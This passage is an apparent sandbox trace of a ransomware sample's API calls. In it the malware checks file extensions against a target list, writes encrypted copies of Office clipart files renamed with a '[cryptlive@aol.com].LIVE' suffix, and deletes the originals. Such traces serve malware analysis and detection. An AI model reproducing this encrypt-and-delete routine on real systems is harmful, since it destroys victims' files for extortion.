[0143.508] lstrlenW (lpString=".rar") returned 4 [0143.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.508] lstrlenW (lpString=".bz2") returned 4 [0143.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.508] lstrlenW (lpString=".7z") returned 3 [0143.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.508] lstrlenW (lpString=".dbf") returned 4 [0143.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.508] lstrlenW (lpString=".1cd") returned 4 [0143.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.508] lstrlenW (lpString=".jpg") returned 4 [0143.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.508] lstrlenW (lpString=".doc") returned 4 [0143.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.508] lstrlenW (lpString=".docx") returned 5 [0143.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.508] lstrlenW (lpString=".pdf") returned 4 [0143.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.508] lstrlenW (lpString=".xls") returned 4 [0143.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.508] lstrlenW (lpString=".xlsx") returned 5 [0143.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.508] lstrlenW (lpString=".ppt") returned 4 [0143.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.509] lstrlenW (lpString=".zip") returned 4 [0143.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.509] lstrlenW (lpString=".rar") returned 4 [0143.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.509] lstrlenW (lpString=".bz2") returned 4 [0143.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.509] lstrlenW (lpString=".7z") returned 3 [0143.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.509] lstrlenW (lpString=".dbf") returned 4 [0143.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.509] lstrlenW (lpString=".1cd") returned 4 [0143.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.509] lstrlenW (lpString=".jpg") returned 4 [0143.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.509] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.509] lstrlenW (lpString="FD00459_.WMF") returned 12 [0143.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0143.510] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=17406) returned 1 [0143.510] CloseHandle (hObject=0x380) returned 1 [0143.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x20 [0143.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0143.510] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.510] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0143.511] GetLastError () returned 0x0 [0143.511] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x43fe, lpOverlapped=0x0) returned 1 [0143.706] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4400, lpOverlapped=0x0) returned 1 [0143.707] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.707] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.707] SetEndOfFile (hFile=0x3ac) returned 1 [0143.708] CloseHandle (hObject=0x3ac) returned 1 [0143.708] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.708] SetEndOfFile (hFile=0x380) returned 1 [0143.711] CloseHandle (hObject=0x380) returned 1 [0143.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0143.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.729] lstrlenW (lpString=".doc") returned 4 [0143.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.729] lstrlenW (lpString=".docx") returned 5 [0143.729] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.729] lstrlenW (lpString=".pdf") returned 4 [0143.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.729] lstrlenW (lpString=".xls") returned 4 [0143.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.729] lstrlenW (lpString=".xlsx") returned 5 [0143.729] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.729] lstrlenW (lpString=".ppt") returned 4 [0143.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.729] lstrlenW (lpString=".zip") returned 4 [0143.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.729] lstrlenW (lpString=".rar") returned 4 [0143.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.729] lstrlenW (lpString=".bz2") returned 4 [0143.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.729] lstrlenW (lpString=".7z") returned 3 [0143.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.729] lstrlenW (lpString=".dbf") returned 4 [0143.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.729] lstrlenW (lpString=".1cd") returned 4 [0143.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.729] lstrlenW (lpString=".jpg") returned 4 [0143.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.730] lstrlenW (lpString=".doc") returned 4 [0143.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.730] lstrlenW (lpString=".docx") returned 5 [0143.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.730] lstrlenW (lpString=".pdf") returned 4 [0143.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.730] lstrlenW (lpString=".xls") returned 4 [0143.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.730] lstrlenW (lpString=".xlsx") returned 5 [0143.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.730] lstrlenW (lpString=".ppt") returned 4 [0143.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.730] lstrlenW (lpString=".zip") returned 4 [0143.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.730] lstrlenW (lpString=".rar") returned 4 [0143.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.730] lstrlenW (lpString=".bz2") returned 4 [0143.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.730] lstrlenW (lpString=".7z") returned 3 [0143.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.730] lstrlenW (lpString=".dbf") returned 4 [0143.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.730] lstrlenW (lpString=".1cd") returned 4 [0143.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0143.730] lstrlenW (lpString=".jpg") returned 4 [0143.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.731] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.731] lstrlenW (lpString="FD00775_.WMF") returned 12 [0143.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.731] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11152) returned 1 [0143.731] CloseHandle (hObject=0x38c) returned 1 [0143.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x20 [0143.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.732] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.732] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0143.733] GetLastError () returned 0x0 [0143.733] ReadFile (in: hFile=0x38c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2b90, lpOverlapped=0x0) returned 1 [0143.776] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2ba0, lpOverlapped=0x0) returned 1 [0143.777] ReadFile (in: hFile=0x38c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.777] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.777] SetEndOfFile (hFile=0x1fc) returned 1 [0143.777] CloseHandle (hObject=0x1fc) returned 1 [0143.777] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.777] SetEndOfFile (hFile=0x38c) returned 1 [0143.779] CloseHandle (hObject=0x38c) returned 1 [0143.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0143.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.824] lstrlenW (lpString=".doc") returned 4 [0143.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.824] lstrlenW (lpString=".docx") returned 5 [0143.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.824] lstrlenW (lpString=".pdf") returned 4 [0143.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.824] lstrlenW (lpString=".xls") returned 4 [0143.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.824] lstrlenW (lpString=".xlsx") returned 5 [0143.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.824] lstrlenW (lpString=".ppt") returned 4 [0143.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.824] lstrlenW (lpString=".zip") returned 4 [0143.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.824] lstrlenW (lpString=".rar") returned 4 [0143.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.824] lstrlenW (lpString=".bz2") returned 4 [0143.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.824] lstrlenW (lpString=".7z") returned 3 [0143.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.824] lstrlenW (lpString=".dbf") returned 4 [0143.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.824] lstrlenW (lpString=".1cd") returned 4 [0143.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.824] lstrlenW (lpString=".jpg") returned 4 [0143.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.825] lstrlenW (lpString=".doc") returned 4 [0143.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.825] lstrlenW (lpString=".docx") returned 5 [0143.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.825] lstrlenW (lpString=".pdf") returned 4 [0143.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.825] lstrlenW (lpString=".xls") returned 4 [0143.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.825] lstrlenW (lpString=".xlsx") returned 5 [0143.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.825] lstrlenW (lpString=".ppt") returned 4 [0143.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.825] lstrlenW (lpString=".zip") returned 4 [0143.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.825] lstrlenW (lpString=".rar") returned 4 [0143.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.825] lstrlenW (lpString=".bz2") returned 4 [0143.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.825] lstrlenW (lpString=".7z") returned 3 [0143.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.825] lstrlenW (lpString=".dbf") returned 4 [0143.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.825] lstrlenW (lpString=".1cd") returned 4 [0143.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0143.825] lstrlenW (lpString=".jpg") returned 4 [0143.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.826] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.826] lstrlenW (lpString="FD01074_.WMF") returned 12 [0143.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.908] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4634) returned 1 [0143.908] CloseHandle (hObject=0x388) returned 1 [0143.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x20 [0143.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.909] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.909] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0143.910] GetLastError () returned 0x0 [0143.910] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x121a, lpOverlapped=0x0) returned 1 [0143.938] WriteFile (in: hFile=0x3a8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0143.939] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.939] WriteFile (in: hFile=0x3a8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.939] SetEndOfFile (hFile=0x3a8) returned 1 [0143.939] CloseHandle (hObject=0x3a8) returned 1 [0143.939] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.939] SetEndOfFile (hFile=0x388) returned 1 [0143.942] CloseHandle (hObject=0x388) returned 1 [0143.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0144.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.031] lstrlenW (lpString=".doc") returned 4 [0144.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.031] lstrlenW (lpString=".docx") returned 5 [0144.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.031] lstrlenW (lpString=".pdf") returned 4 [0144.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.031] lstrlenW (lpString=".xls") returned 4 [0144.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.031] lstrlenW (lpString=".xlsx") returned 5 [0144.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.031] lstrlenW (lpString=".ppt") returned 4 [0144.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.031] lstrlenW (lpString=".zip") returned 4 [0144.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.031] lstrlenW (lpString=".rar") returned 4 [0144.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.031] lstrlenW (lpString=".bz2") returned 4 [0144.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.031] lstrlenW (lpString=".7z") returned 3 [0144.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.031] lstrlenW (lpString=".dbf") returned 4 [0144.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.031] lstrlenW (lpString=".1cd") returned 4 [0144.031] lstrcmpiW 